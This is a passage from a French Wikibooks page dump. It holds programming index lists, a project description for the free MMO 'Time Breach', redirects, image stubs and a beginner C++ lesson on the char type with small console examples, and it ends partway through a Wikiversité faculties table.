*[[Programmation Algol|Algol]] *[[Programmation Alloy|Alloy]] *[[Programmation Ada|Ada]] *[[Programmation APL|APL]] *[[Programmation Applescript|Applescript]] *[[Programmation ASP|ASP]] {{25}} *[[Programmation Assembleur|Assembleur]] **[[Programmation Assembleur x86|x86]] **[[Programmation Assembleur PowerPC|PowerPC]] **[[Programmation Assembleur Itanium|Itanium]] **[[Programmation Assembleur Sparc|Sparc]] **[[Programmation Assembleur Mips|Mips]] **[[Programmation Assembleur ARM|ARM]] **[[Programmation Assembleur Alpha|Alpha]] **[[Programmation Assembleur HP-PA|HP-PA]] **[[Programmation Assembleur SuperH|SuperH]] **[[Programmation Assembleur 68000|68000]] **[[Programmation Assembleur Z80|Z80]] **[[Programmation Assembleur 370|370]] *[[Programmation Awk|Awk]] ====B à D==== *[[Programmation Basic|Basic]] **[[Programmation GWBasic|GWBasic]] **[[Programmation Visual Basic|Visual Basic]] **[[Programmation Basic .NET|Basic .NET]] **[[Programmation Basic Casio|Basic Casio]] *[[Programmation BCPL|BCPL]] *[[Programmation Brainfuck|Brainfuck]] *[[Programmation C|C]] {{50}} *[[Programmation Caml|Caml]] *[[Programmation Coldfusion|Coldfusion]] *[[Programmation C plus plus|C++]] {{25}} *[[Programmation C plus plus debutants|C++ (débutants)]] *[[Interfaces_graphiques_en_C%2B%2B_avec_wxWidget|C++ : interfaces graphiques avec wxWidget]] *[[Programmation C sharp|C#]] *[[Programmation Cobol|Cobol]] **[[Programmation Cobol ANS 75|Cobol ANS 75]] *[[Programmation Common Lisp|Common Lisp]] *[[Programmation CSS|CSS]] *[[Programmation Curl|Curl]] *[[Programmation D|D]] *[[Programmation Delphi|Delphi]] ([[:en:Programming:Delphi|en]]) ====E à L==== *[[Programmation Eiffel|Eiffel]] *[[Programmation Erlang|Erlang]] *[[Programmation Euclid|Euclid]] *[[Programmation Euler|Euler]] *[[Programmation Euphoria|Euphoria]] *[[Programmation Forth|Forth]] *[[Programmation Fortran|Fortran]] *[[Programmation Haskell|Haskell]] *[[Programmation HTML|HTML]] {{50}} *[[Programmation IDL|IDL]] *[[Programmation Java|Java]] {{50}} **[[Programmation Java Bytecode|Bytecode]] *[[Programmation JavaScript|JavaScript]] *[[Programmation Jscript|Jscript]] *[[Programmation Joy|Joy]] *[[Programmation L4G|Langages de quatrième génération]] **[[Programmation L4G NSDK|NSDK]] **[[Programmation L4G Powerbuilder|Powerbuilder]] **[[Programmation L4G Progress|Progress]] **[[Programmation L4G Windev|Windev]] *[[Programmation LaTeX|LaTeX]] {{75}} *[[Programmation Lingo|Lingo]] *[[Programmation Lisp|Lisp]] *[[Programmation Logo|Logo]] {{75}} *[[Programmation LSE|LSE]] *[[Programmation Lua|Lua]] *[[Programmation Linotte|Langage Linotte]] ====M à Q==== *[[Programmatin Maple|Maple]] *[[Programmation Mathematica|Mathematica]] *[[Programmation MathML|MathML]] *[[Programmation ML|ML]] *[[Programmation Modula|Modula]] *[[Programmation Natural|Natural]] *[[Programmation Nice|Nice]] *[[Programmation Nosica|Nosica]] *[[Programmation Oberon|Oberon]] *[[Programmation Objective C|Objective C]] *[[Programmation Objective Caml|Objective Caml]] *[[Programmation Objective C plus plus|Objective C++]] *[[Programmation Objectpal|Objectpal]] *[[Programmation Occam|Occam]] *[[Programmation Octave|Octave]] *[[Programmation Pascal|Pascal]] *[[Programmation Perl|Perl]] *[[Programmation PHP|PHP]] {{25}} *[[Programmation Prolog|Prolog]] *[[Programmation Python|Python]] {{25}} ====R, S==== *[[Programmation Rebol|Rebol]] *[[Programmation Rexx|Rexx]] *[[Programmation RPG|RPG]] *[[Programmation Ruby|Ruby]] *[[Programmation Scheme|Scheme]] *[[Programmation Scriptol|Scriptol]] *[[Programmation SGML|SGML]] *[[Programmation Simula|Simula]] *[[Programmation Smalltalk|Smalltalk]] *[[Programmation Shellscript|Shellscript]] **[[Programmation bash|bash]] **[[Programmation csh|csh]] **[[Programmation ksh|ksh]] **[[Programmation sash|sash]] **[[Programmation tcsh|tcsh]] **[[Programmation zsh|zsh]] **[[Programmation dos|dos]] (ligne de commande [[MS-DOS]] / [[Windows]]) *[[Programmation SQL|SQL]] {{25}} **[[Programmation MySQL|MySQL]] **[[Programmation SQL PL/SQL|PL/SQL]] (Oracle) **[[Programmation SQL T/SQL|T/SQL]] (Sybase/Microsoft SQL Server) **[[Programmation SQL PL/pgSQL|PL/pgSQL]] (PostgreSQL) *[[Programmation XML/SyncML|SyncML]] {{75}} ====T à Z==== *[[Programmation Tcl|Tcl]] *[[Programmation TeX|TeX]] *[[Programmation VBscript|VBscript]] {{25}} *[[Programmation Visual Basic|Visual Basic]] ([[:en:Programming:Visual Basic Classic|en]]) *[[Programmation VBA|Visual Basic for Application (VBA)]] *[[Programmation VRML|VRML]] *[[Programmation WML|WML]] *[[Programmation X3D|X3D]] *[[Programmation XHTML|XHTML]] *[[Programmation XML|XML]] Programmation/Processus de développement 6620 47173 2006-07-03T08:06:18Z 67.68.65.132 /* [[Programmation/Processus de développement|Processus de développement]] */ ===[[Programmation/Processus de développement|Processus de développement]]=== *[[Programmation Projet de développement. Méthodes et formalismes|Projet de développement. Méthodes et formalismes]] **[[Programmation Cycle en V|Cycle en V]] **[[Programmation Cycle en W|Cycle en W]] **[[Programmation Cycle en cascade|Cycle en cascade]] **[[Programmation Cycle en spirale|Cycle en spirale]] **[[Programmation Cycle en spirale|Cycle de vie d'un système selon le modèle par prototypage]] **[[Programmation Cycle en spirale|Cycle de vie d'un système selon le modèle du développement rapide]] **[[Programmation UP|UP]] **[[Programmation RUP|RUP]] **[[Programmation 2TUP|2TUP]] **[[Programmation Merise (gestion de projet)|Merise]] **[[Programmation RAD|RAD]] **[[Programmation XP|XP]] **[[Programmation DSDM|DSDM]] **[[Programmation ASD|ASD]] **[[Programmation Scrum|Scrum]] **[[Programmation FDD|FDD]] **[[Programmation Crystal Clear|Crystal Clear]] *[[Programmation Analyse et conception. Méthodes et formalismes|Analyse et conception. Méthodes et formalismes]] **[[Programmation UML|UML]] **[[Programmation Merise (analyse et conception)|Merise]] **[[Programmation SA/SD|SA/SD]] **[[Programmation SADT|SADT]] **[[Programmation OMT|OMT]] **[[Programmation OOSE|OOSE]] **[[Programmation Booch|Booch]] **[[Programmation MACAO|MACAO]] **[[Programmation MDA|MDA]] **[[Programmation SOA|SOA]] Programmation/Tuning et optimisation 6621 29553 2006-01-20T16:19:39Z Boly38 136 /* [[Programmation/Tuning et optimisation|Tuning et optimisation]] */ ajout d'un espace :) ===[[Programmation/Tuning et optimisation|Tuning et optimisation]]=== &#160; Programmation/Environnements et outils 6622 29558 2006-01-20T16:23:28Z Boly38 136 /* [[Programmation/Environnements et outils|Environnements et outils]] */ export Frameworks et Bibliothèques dans une ss section à part ===[[Programmation/Environnements et outils|Environnements et outils]]=== 7. [[Programmation Environnements et outils|Environnements et outils]] *[[Programmation Environnements de développement|Environnements de développement]] **[[Programmation Outils de programmation Windows|Outils de programmation Windows]] ***[[Programmation Visual Basic|Visual Basic]] ***[[Programmation Visual C plus plus|Visual C++]] ***[[Programmation DEV C plus plus|DEVC++]] ***[[Programmation MINGW|MINGW]] ***[[Programmation Visual C sharp|Visual C#]] ***[[Programmation SharpDevelop|Sharp Develop]] ***[[Programmation MonoDevelop|Mono Develop]] ***[[Programmation Visual J sharp|Visual J#]] ***[[Programmation Delphi|Delphi]] **[[Programmation Outils de programmation GNU/Linux|Outils de programmation Linux]] ***[[Programmation Kylix|Kylix]] ***[[Programmation Emacs|Emacs]] ***[[Programmation Slime|Slime]] ***[[Programmation Anjuta|Anjuta]] ***[[Programmation Glade|Glade]] ***[[Programmation KDevelop|KDevelop]] ***[[Programmation QtDesigner|QtDesigner]] **[[Programmation Outils de programmation Java|Outils de programmation Java]] ***[[Programmation Eclipse|Eclipse]] ***[[Programmation JBuilder|JBuilder]] ***[[Programmation Visual Age for Java|Visual Age for Java]] ***[[Programmation Websphere Studio Application Developer|Websphere Studio Application Developer]] ***[[Programmation JDeveloper|JDeveloper]] ***[[Programmation Netbeans|Netbeans]] ***[[Programmation Sun ONE Studio|Sun ONE Studio]] Programmation/Annexes 6623 29552 2006-01-20T16:19:11Z Boly38 136 création depuis [[Programmation]] ==Annexes== A. [[Programmation Glossaire|Glossaire]]<br /> B. [[Programmation Auteurs|Auteurs]]<br /> Programmation/Frameworks et bibliothèques 6624 29563 2006-01-20T16:26:19Z Boly38 136 création depuis [[Programmation/Environnements et outils]] ===[[Programmation/Frameworks et bibliothèques|Frameworks et bibliothèques]]=== [[Programmation Windows et .net|Windows et .net]] *[[Programmation SDK|SDK]] *[[Programmation MFC|MFC]] *[[Programmation DirectX|DirectX]] *[[Programmation .net|.net]] *[[Programmation Mono|Mono]] [[Programmation Frameworks Java|Frameworks Java]] *[[Programmation JavaCard|JavaCard]] *[[Programmation J2ME|J2ME]] *[[Programmation J2SE|J2SE]] *[[Programmation J2EE|J2EE]] [[Programmation Multiplateforme|Multiplateforme]] *[[Programmation Qt|Qt]] *[[Programmation GTK plus|GTK+]] **[[Programmation GTK2 en C]] **[[Programmation GTK2 en Pascal]] **[[Programmation GTK2 en Python]] *[[Programmation Tk|Tk]] *[[Programmation OpenGL|OpenGL]] *[[Programmation SDL|SDL]] [[Programmation Unix|Unix]] *[[Programmation POSIX|POSIX]] *[[Programmation Motif|Motif]] Time Breach 6625 44292 2006-06-10T22:16:29Z Kalden 1060 '''Time Breach''' {{TimeBreach}} ([http://TimeBreach.SourceForge.net Time Breach Project Web Site]) est un projet communautaire de [[w:jeu en ligne massivement multi-joueur|jeu en ligne massivement multi-joueur]]. Ce jeu est basé sur un [[w:logiciel libre|logiciel libre]], [[w:Open Source|Open Source]]. == Présentation du projet == Le projet est née d'une envie de créer un jeu de type [[w:MMOG|MMOG]] (Massively Multiplayer On-line Game) libre, et gratuit. Il fonctionne ainsi : *Tout joueur peut créer un personnage et le faire évoluer dans l'univers Time Breach (concept habituel) *Tout joueur peut créer un monde dans l'univers Time Breach (élément controlé habituellement par l'entité développant le jeu) Ces principes existent déja sur certains jeux vidéo comme [[w:Neverwinter Nights|Neverwinter Nights]], qui propose au joueur de créer leurs mondes. Mais ce jeu propose en fait des mondes qui n'ont aucune relations entre eux. Pour se placer dans une catégorie de jeux de type [[w:MMOG|MMOG]], l'ensemble des serveurs doivent avoir une cohérence entre les régles, l'histoire, et les événements du jeu dans sa globalité. Un [[w:serveur central|serveur central]] est nécessaire pour unifier les mondes les uns avec les autres et ainsi créer une harmonie afin de présenter un seul univers au joueur. Le seul type de serveur central qui est facilement et gratuitement hébergeable sur internet à l'heure actuel est un [[w:site web|site web]]. Le but étant de proposer un jeu vidéo réunissant 3 types de modalités : *jouer tous ensemble ([[w:jeu en ligne massivement multi-joueur|jeu en ligne massivement multi-joueur]] ''classique'') *jouer un personnage et le faire evoluer ([[w:jeu de rôle|jeu de rôle]] ou ''Role Playing Game'') *jouer en faisant de la strategie économique au sein de son monde ([[w:jeu de stratégie en temps réel|jeu de stratégie en temps réel]] ou ''Real Time Strategy'') == Au Commencement... == Au commencement les auteurs eurent envie de créer un jeu massivement multi-joueur en-ligne gratuit (un [[w:World of Warcraft|World of Warcraft]] Gratuit). Ils envoyèrent alors un courriel à l'ensemble de leurs entourages pour leurs demander de participer à l'aventure. Huit personnes se déclarèrent intéressées et se sont réunies durant le mois de juin 2005. == [[w:Univers de jeu|Univers de jeu]] == La définition de l'univers du jeu est primordial et délicate: Comment définir un [[w:univers de jeu|Univers de jeu]] qui plaira à tout le monde? Une des solutions est la [[w:brêche temporelle|brêche temporelle]]!!! De cette façon les joueurs qui aiment jouer avec des lasers et des robots, peuvent cotoyer les mages, les barbares, et les monstres sans probléme. Ensuite comment intégrer le joueur au coeur de l'histoire? Il existe bien des systémes de propositions d'idée avec des votes mais le joueur ne retrouvera pas sa personalisation dans ce mode de gestion. Bien sur ce mode de gestion est a prendre en compte. Il suffit sue les joueurs héberges eux même leurs monde. En créent une bibliothéque commune centralisé de monstre, de batiment, d'éléments de jeu etc... , le joueur utilise un univers commun et peut agrémenter son monde tout en restant dans l'harmonie de l'univers. De la même façon il doit exister des quêtes de niveau monde et de niveau univers. == Organisation Technique == *La structure technique d'un tel projet se doit de tenir compte du faites que: :*c'est un projet bénévole (la progression du développement ne sera pas uniforme) :*tout les participants veulent fair quelque chose (souvent dés qu'ils arrivent) :*la coordination des équipes est difficile dût à la distance entre les participants Dans ces conditions un fonctionnement par blocs semble indispensable. Chaque bloque doit répondre à une fonctionnalité et fournir une documentation d'utilisation. Ce fonctionnement est assez classique en programmation. Cependant les bloques les plus généraux doivent attendre la défintions des bloques de base pour pouvoir commencer. Définir une architecture global avec une organisation standard du contenu de tout les bloques permet de démarrer tout le développement des bloques en même temps. Actuellement, pour le cas de Time Breach, l'organisation général est terminé. Cependant pour réalisé une bonne standardisation des bloques il faut bien connaitre les librairies utilisées. Le but du [[w:développement de jeu vidéo|développement de jeu vidéo]] n'est pas de réinventer les bases mais de construire un univers dessus. Le systéme Time Breach peut s'apparenter à un systéme de poupée russe, de boites qui contiennent des bibliothèques fondamentales: * [[w:Serveur central|Serveur central]] (serveur qui centralise et coordonne l'univers du jeu) * [[w:Serveur|Serveur]] de Monde (qui héberge un monde) :* [[w:Moteur Graphique|Moteur graphique]] :* [[w:Moteur de jeu vidéo|Moteur de jeu vidéo]] :* [[w:Moteur Réseau|Moteur Réseau]] * [[w:Client]] (Qui permet de jouer son personnage sur un monde) :* [[w:Moteur Son|Moteur Son]] :* [[w:Moteur Graphique|Moteur Graphique]] :* [[w:Moteur de jeu vidéo|Moteur de jeu vidéo]] :* [[w:Moteur Réseau|Moteur Réseau]] * Editeur (qui permet de gérer un monde) :* [[w:Moteur Son|Moteur Son]] :* [[w:Moteur Graphique|Moteur Graphique]] :* [[w:Moteur de jeu vidéo|Moteur de jeu vidéo]] :* [[w:Moteur Réseau|Moteur Réseau]] Ainsi nous retrouvons des bloques commun a chaque bloc. Ces bloques (que l'on appel [[w:moteur|moteur]]) contiennent eux même des blocs: * [[w:Moteur Son|Moteur Son]] :*[[w:OpenAL|OpenAL]] * [[w:Moteur Graphique|Moteur Graphique]] :*[[w:Ogre 3D|Ogre 3D]] * [[w:Moteur de jeu vidéo|Moteur de jeu vidéo]] :*[[w:Intelligence Artificielle|Intelligence Artificielle]] :*[[w:Interpréteur de script|Interpréteur de script]] :*[[w:Moteur Physique|Moteur Physique]] (certainement [[w:Open Dynamic Engine|Open Dynamic Engine]]) :*référentiel commun a tout les bloques * [[w:Moteur Réseau|Moteur Réseau]] :*n'est pas encor définit l'utilisation de [[w:jabber|jabber]] est envisagé Il existe aussi des [[w:middleware|middleware]] qui permettent de se concentrer uniquemment sur le jeu et qui regroupe tout ces éléments comme [[w:massiv|massiv]]. == Les outils du libre == Un projet libre n'a généralement pas les moyens financier pour utiliser légalement des outils payant. C'est le cas de Time Breach. Voici donc les outils que Time Breach utilise pour le développement: * [[w:blender|blender]] création 3D de [[w:mesh|mesh]] * [[w:gimp|gimp]] création 2D [[w:Texture (image de synthèse)|Texture (image de synthèse)]], [[w:images|images]] etc... * [[w:Eclipse (environnement de développement)|Eclipse (environnement de développement)]] pour la programmation avec [[w:Ant (logiciel)|Ant (logiciel)]] et le module [[w:cdt|cdt]] * [[w:Concurrent versions system|Concurrent versions system]] pour organiser le travail d'equipe de programmation * [[w:Xoops|Xoops]] comme mode principal de communication c'est un [[w:CMS|CMS]] * des [[w:mailing listes|mailing listes]] en secour au cas ou [[w:Xoops|Xoops]] serai indisponible == Social == *Les principaux problémes d'une [[w:communauté|communauté]]: - personne n'est obligé d'être là - tout le monde peut partir quand il veut - tout le monde participe quand il veut et comme il veut - il n'y a pas d'obligation possible à tenir ses engagements par conséquent l'organisation des participants à un projet bénévol se doit de tenir compte de ces problémes. *L'une des solutions est de doubler les postes important pour les raisons suivantes: - si une personne abandonne son poste l'autre pourra former un nouveau - la décision prise à deux et souvent plus raisonnable que seul - si un des deux est indisponible l'autre peut prendre le relais (travail alterné) - travailler a deux ça motive (motivation mutuelle) - on peut fair deux fois plus de travail dans le même temps (travail paralléle) *Seul les postes importants sont figés (manager de chaque section de travail): - cela laisse la liberté au membres de participer a ce qu'ils veulent pendant le temps qu'ils veulent - cela permet au manager de selection a chaque tâche les équipes. *Seul les tâches à réaliser sont attribuer a des membres pour une durée limitée: Dans ce fonctionnement si les membres n'ont pas effectué leurs tâches dans le temps imparti on peut l'attribuer à d'autres. L'ensemble de ces dispositions permet à Time Breach de conserver une motivation et un flux de travail continu. Par ailleur, Time Breach propose de réaliser des projets encadrés et notés à des écoles tel que l'[[w:iut de montpellier|iut de montpellier]] par exemple. Ce type de partenariat permet des accélérations dans l'avancé du projet. L'avancé démontre une activité nouvelle. L'activité nouvelle déclenche de la motivation. La motivation produit une avancé. == License == *Le choix de la license à été trés délicat pour différentes raisons: - les artistes souhaitent une license prenant en compte leurs productions comme un produits d'artiste et non comme une simple production modifiable. - la communauté du libre s'appui essentiellement sur la license GNU GPL - l'intégration de Time Breach dans les distributions linux necessite une license compatible GNU GPL *Dans ce sens, Time Breach s'est orienté sur une double license : - Une [[w:Licences Creative Commons]] By Sa 2.5 pour tout le contenu artistique (textes, histoires, sons, graphismes etc...) - Une license [[w:GNU GPL]] pure pour tout les programmes et leurs code source. Ce choix permet une reconnaissance légitime des oeuvres artistiques et une compatibilité totale avec les communautés open sources. [[Catégorie:jeu vidéo]] [[en:Time Breach]] Programmation Javascript Introduction 6627 29621 2006-01-21T00:10:37Z Guillaumito 46 [[Programmation Javascript Introduction]] déplacé vers [[Programmation JavaScript/Introduction]]: fusion #REDIRECT [[Programmation JavaScript/Introduction]] Declinaisons du latin 6628 46414 2006-06-28T20:59:51Z Guillaumito 46 correction double redirection #REDIRECT [[Latin/Déclinaisons]] Brioche 6629 29632 2006-01-21T01:12:56Z Guillaumito 46 [[Brioche]] déplacé vers [[Cuisine:Brioche]] #REDIRECT [[Cuisine:Brioche]] Modèle:Fusionner 6630 38979 2006-03-27T20:59:51Z Guillaumito 46 wikipédia -> wikilivres <div class="alerte" id="style2"> {| style="background:#FFFFDD" | [[Image:Wmerge.png|60px|à fusionner]]&nbsp;&nbsp; || | ''Cet article fait partie du {{guil|<u>doublon<u>}} '''[[{{{1}}}]]''' - '''[[{{{2|{{PAGENAME}}}}}]]'''. <br />Il a été demandé de '''les fusionner''' sur la [[Wikilivres:Pages à fusionner#{{{1}}} et {{{2|{{PAGENAME}}}}}|page prévue à cet effet]]. Merci de n'y apporter '''aucune modification''' tant que cette fusion n'aura pas été effectuée et que ce message n'aura pas disparu.'' |}</div> [[catégorie:Page à fusionner]] Image:Wmerge.png 6631 29636 2006-01-21T01:45:03Z Guillaumito 46 Import de Wikipédia Import de Wikipédia Catégorie:Page à fusionner 6632 29646 2006-01-21T01:52:18Z Guillaumito 46 cat [[Catégorie:Maintenance]] Programmation JavaScript/Syntaxe 6635 29694 2006-01-21T12:00:07Z Gmarzin 1053 [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Ligne d'instruction|Ligne d'instruction >>]]<br/> La syntaxe JavaScript a ceci de remarquable qu'elle reprend les grandes lignes de la syntaxe du langage c. JavaScript fait partie de la famille des c-like, comme c++, java c#...<br/> L'avantage de cette syntaxe est qu'elle permet de s'appuyer sur ce que l'on connait déjà en c, ou d'apprendre un langage dont les grandes lignes seront réutilisables notamment en c.<br/> [[Programmation JavaScript/Ligne d'instruction|Ligne d'instruction >>]] Programmation C++ (débutant)/Les types de base 6636 33808 2006-02-21T13:34:22Z 193.50.189.4 /* Exemple 5 : transformation majuscule-minuscule */ {{C++ débutant}} ==Le cours du chapitre 5 : les types de base== __TOC__ === Les types int et double === Nous avons déjà étudié précédemment les type double et int pout stocker respectivement un entier et un réel. === Le type char=== Le type char est un type prédéfini du langage C++. Il permet de stocker un caractère. <br/> Il est codé en général sur 8 bits. <br/> On peut faire des tests sur le caractères : if(c>='A' && c<='Z') permet par exemple de tester si un caractère est une lettre majuscule. <br/> On peut transférer un char dans un int. On récupère alors le code ASCII du caractère.<br/> === Exemple 1 : utilisation du type char === <pre> #include<iostream> using namespace std; int main(){ char a,b; a='Y'; cout<<"Tapez un caractere : ";cin>>b; cout<<"Le caractère a vaut : "<<a<<endl; cout<<"Le caractère b vaut : "<<b<<endl; return 0; } </pre> *Dans cet exemple,on commence par déclarer 2 variables de type char a et b. *On peut affecter à la variable a le caractère 'Y' en utilisant l'affectation a='Y';. On notera que Y s'écrit entre cotes (et non entre des guillemets qui sont réservées aux chaînes de caractères). *On saisit la valeur de b par un cin. *On affiche les valeurs de a et b en utilisant cout. *'''Exécution 1 de l’exemple 1'''<br/> Tapez un caractere : '''Z''' <br/> Le caractère a vaut Y <br/> Le caractère b vaut Z <br/> ===Codage des caractères === Chaque caractère est codé en général sur 8 bits sous la forme d'un code ASCII. Le code ASCII est un système de représentation des caractères où chaque caractère est codé par un entier entre 0 et 127. On peut récupérer ce code en mettant un caractère dans un entier. === Exemple 2 : le codage des caractères === <pre> #include<iostream> using namespace std; int main() { char a; int x; cout<<"Tapez un caractere : ";cin>>a; x=a; cout<<"Le code ascii de cette lettre est" <<x<<endl; return 0; } </pre> *'''Explications '''<br/> **On demande à l'utilisateur de saisir un caractère dans une variable a. **On récupère le code ASCII de a en mettant a dans une variable entière x. **On affiche ce code ASCII par un cout. *'''Exécution 1'''<br/> Tapez un caractère '''H''' <br/> Le code ASCII de cette lettre est 72 *'''Exécution 2 '''<br/> Tapez un caractère '''w'''<br/> Le code ASCII de cette lettre est 119 <br/> ===Comparaison sur les char=== Lorsqu'on effectue des comparaisons sur les char, on compare en fait les codes ascii. <br/> On peut tester si un caractère c est une majuscule par le test (x>='A' && x<='Z'). <br/> On peut tester si un caractère c est une minuscule par le test (x>='a' && x<='z'). <br/> On peut tester si un caractère c est un chiffre par le test (x>='0' && x<='9'). <br/> ===Exemple 3 :Comparaison sur les char=== <pre> #include<iostream> using namespace std; int main() { char a; cout<<"Tapez un caractere : ";cin>>a; if( a>='A' && a<='Z')cout<<"Vous avez tapé une majuscule."<<endl; else if( a>='a' && a<='z')cout<<"Vous avez tapé une minuscule."<<endl; else if( a>='0' && a<='9')cout<<"Vous avez tapé un chiffre."<<endl; else cout<<"Vous n'avez tapé ni une majuscule, ni une minuscule, ni un chiffre."<<endl; return 0; } </pre> *Explications **On demande à l'utilisateur de saisir un caractère dans une variable a. **On teste ensuite si l'utilisateur a tapé une majuscule, une minuscule, un chiffre ou une autre type de caractère. **On affiche ce code ASCII par un cout. *'''Exécution 1'''<br/> Tapez un caractère : '''H''' <br/> Vous avez tapé une majuscule <br/> * '''Exécution 2 '''<br/> Tapez un caractère : '''w''' <br/> Vous avez tapé une minuscule<br/> * '''Exécution 3'''<br/> Tapez un caractère : '''8''' <br/> Vous avez tapé un chiffre <br/> *'''Exécution 4''' <br/> Tapez un caractère : '''[''' <br/> Vous n'avez tapé ni une majuscule, ni une minuscule, ni un chiffre <br/> ===Transformation char-int=== On peut effectuer des opérations de base sur les char : addition et soustraction. <br/> Ces opérations sont en fait réalisée sur les codes ascii. <br/> Si c est un chiffre c-'0' est la valeur de l'entier correspondant à ce chiffre. <br/> === Exemple 4 : transformation char-int === <pre> #include<iostream> using namespace std; int main() { char a; int x; cout<<"Tapez un caractere : ";cin>>a; if( a>='0' && a<='9') { cout<<"Vous avez tapé un chiffre."<<endl; x=a-'0'; cout<<"Ce chiffre est : "<<x<<endl; } else cout<<"Vous n'avez pas tapé un chiffre."<<endl; return 0; } </pre> *'''Explications'''<br/> **Dans cet exemple, on demande à l'utilisateur de taper un caractère. **Si ce caractère est un chiffre, on récupère dans l'entier x la valeur de ce chiffre pas son code ASCII). **On affiche ensuite la valeur de x. *'''Exécution 1'''<br/> Tapez un caractère : '''7''' <br/> Vous avez tapé un chiffre. <br/> Ce chiffre est 7. <br/> *'''Exécution 2''' <br/> Tapez un caractère : '''4''' <br/> Vous avez tapé un chiffre. <br/> Ce chiffre est 4. <br/> *'''Exécution 3''' <br/> Tapez un caractère : '''Y''' <br/> Vous n'avez pas tapé un chiffre. <br/> === Transformation majuscule-minuscule=== Pour transformer un caractère c qui est une majuscule en la minuscule correspondante, il suffit de lui ajouter ('a'-'A'). <br/> Pour transformer un caractère c qui est une minuscule en la majuscule correspondante, il suffit de lui ajouter ('A'-'a'). <br/> ===Exemple 5 : transformation majuscule-minuscule=== <pre> #include<iostream> using namespace std; int main() { char a,b; cout<<"Tapez un caractere : ";cin>>a; if( a>='A' && a<='Z') {cout<<"Vous avez tapé une majuscule."<<endl; b=a+('a'-'A'); cout<<"La minuscule correspondante est "<<b<<endl; } else if( a>='a' && a<='z') {cout<<"Vous avez tapé une majuscule."<<endl; b=a+('A'-'a'); cout<<"La majuscule correspondante est "<<b<<endl; } else cout<<"Vous n'avez pas tapé une lettre."<<endl; return 0; } </pre> *'''Explications''' <br/> **On demande à l'utilisateur de taper un caractère dans un variable a. **Si l'utilisateur a tapé une majuscule, on affiche la minuscule correspondante. **Si l'utilisateur a tapé une minuscule, on affiche la majuscule correspondante. *'''Exécution 1'''<br/> Tapez un caractère : '''H''' <br/> Vous avez tapé une majuscule. <br/> La minuscule correspondante est h. <br/> *'''Exécution 2''' <br/> Tapez un caractère : '''w '''<br/> Vous avez tapé une minuscule. <br/> La majuscule correspondante est W. <br/> *'''Exécution 3 '''<br/> Tapez un caractère : '''9''' <br/> Vous n'avez pas tapé une lettre. <br/> Image:Formepolicemaths6.png 6637 29718 2006-01-21T13:27:21Z Trotinette 954 Forme police mathématique 6 Forme police mathématique 6 Image:Formepolicemaths5.png 6638 29719 2006-01-21T13:27:47Z Trotinette 954 Forme police mathématique 5 Forme police mathématique 5 Image:Formepolicemaths4.png 6639 29720 2006-01-21T13:28:06Z Trotinette 954 Forme police mathématique 4 Forme police mathématique 4 Image:Formepolicemaths3.png 6640 29721 2006-01-21T13:28:25Z Trotinette 954 Forme police mathématique 3 Forme police mathématique 3 Image:Formepolicemaths2.png 6641 29722 2006-01-21T13:28:43Z Trotinette 954 Forme police mathématique 2 Forme police mathématique 2 Image:Formepolicemaths1.png 6642 29723 2006-01-21T13:29:00Z Trotinette 954 Forme police mathématique 1 Forme police mathématique 1 Image:Tailleformule1.png 6643 29726 2006-01-21T13:39:39Z Trotinette 954 Taille formule 1 Taille formule 1 Image:Tailleformule2.png 6644 29727 2006-01-21T13:40:01Z Trotinette 954 Taille formule 2 Taille formule 2 Image:Tailleformule3.png 6645 29728 2006-01-21T13:40:21Z Trotinette 954 Taille formule 3 Taille formule 3 Image:Tailleformule4.png 6646 29729 2006-01-21T13:40:36Z Trotinette 954 Taille formule 4 Taille formule 4 Image:Multiligne6.png 6647 29732 2006-01-21T13:56:38Z Trotinette 954 Multiligne 6 Multiligne 6 Image:Multiligne5.png 6648 29733 2006-01-21T13:56:58Z Trotinette 954 Multiligne 5 Multiligne 5 Image:Multiligne4.png 6649 29734 2006-01-21T13:57:18Z Trotinette 954 Multiligne 4 Multiligne 4 Image:Multiligne3.png 6650 29735 2006-01-21T13:57:36Z Trotinette 954 Multiligne 3 Multiligne 3 Image:Multiligne2.png 6651 29736 2006-01-21T13:58:02Z Trotinette 954 Multiligne 2 Multiligne 2 Image:Multiligne1.png 6652 29737 2006-01-21T13:58:18Z Trotinette 954 Multiligne 1 Multiligne 1 Image:Longeqns4.png 6653 29738 2006-01-21T14:29:47Z Trotinette 954 longue équation 4 longue équation 4 Image:Longeqns1.png 6654 29739 2006-01-21T14:30:09Z Trotinette 954 longue équation 1 longue équation 1 Image:Multicolonne.png 6656 29761 2006-01-21T17:30:08Z Trotinette 954 Multicolonne Multicolonne Image:Multiligne.png 6657 29762 2006-01-21T17:31:08Z Trotinette 954 Multiligne Multiligne Image:Sous-figure.png 6658 29767 2006-01-21T18:16:43Z Trotinette 954 Sous-figure Sous-figure Image:Enveloppement.png 6660 29772 2006-01-21T19:12:43Z Trotinette 954 Enveloppement Enveloppement Wikiversité/Facultés 6664 40109 2006-04-13T12:42:38Z 213.41.42.77 /* Les facultés */ ==Les facultés== <center> {|width="100%" cellspacing="0" cellpadding="0" |width="50%"| {|width="100%" cellspacing="0" cellpadding="5" |[[Image:Nuvola_apps_kcoloredit.png|40px|center]] |style="font-size:95%"|'''[[w:Arts|Arts]]'''<br /> [[/Architecture et Urbanisme|Architecture et Urbanisme]]&nbsp;- [[/Cinéma|Cinéma]]&nbsp;- [[/Histoire de l'art|Histoire&nbsp;de&nbsp;l’art]]&nbsp;- [[Faculté de Théâtre|Théâtre]]&nbsp;- [[Wikiversité:Faculté de Musique|Musique]]&nbsp;- [[Faculté d'Arts plastiques|Arts plastiques]]&nbsp;- <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola apps colors.png|40px|center]] |style="font-size:95%;border-top:1px dashed #AAAAAA"|'''Vie quotidienne & [[w:loisirs|loisirs]]'''<br /> <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola apps kfm home.png|40px|center]] |style="font-size:95%;border-top:1px dashed #AAAAAA"|'''[[w:Société|Société]]'''<br /> [[Éducation]]&nbsp;- [[Politique]]&nbsp; <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola_apps_bookcase.png|40px|center]] |style="font-size:95%;border-top:1px dashed #AAAAAA;"|'''[[w:Religion|Religion]]s & [[w:croyance|croyance]]s'''<br /> [[Athéisme]]&nbsp;- [[Bouddhisme]]&nbsp;- [[/Christianisme|Christianisme]]&nbsp;- [[Ésotérisme]]&nbsp;- [[Hindouisme]]&nbsp;- [[Islam]]&nbsp;- [[Jaïnisme]]&nbsp;- 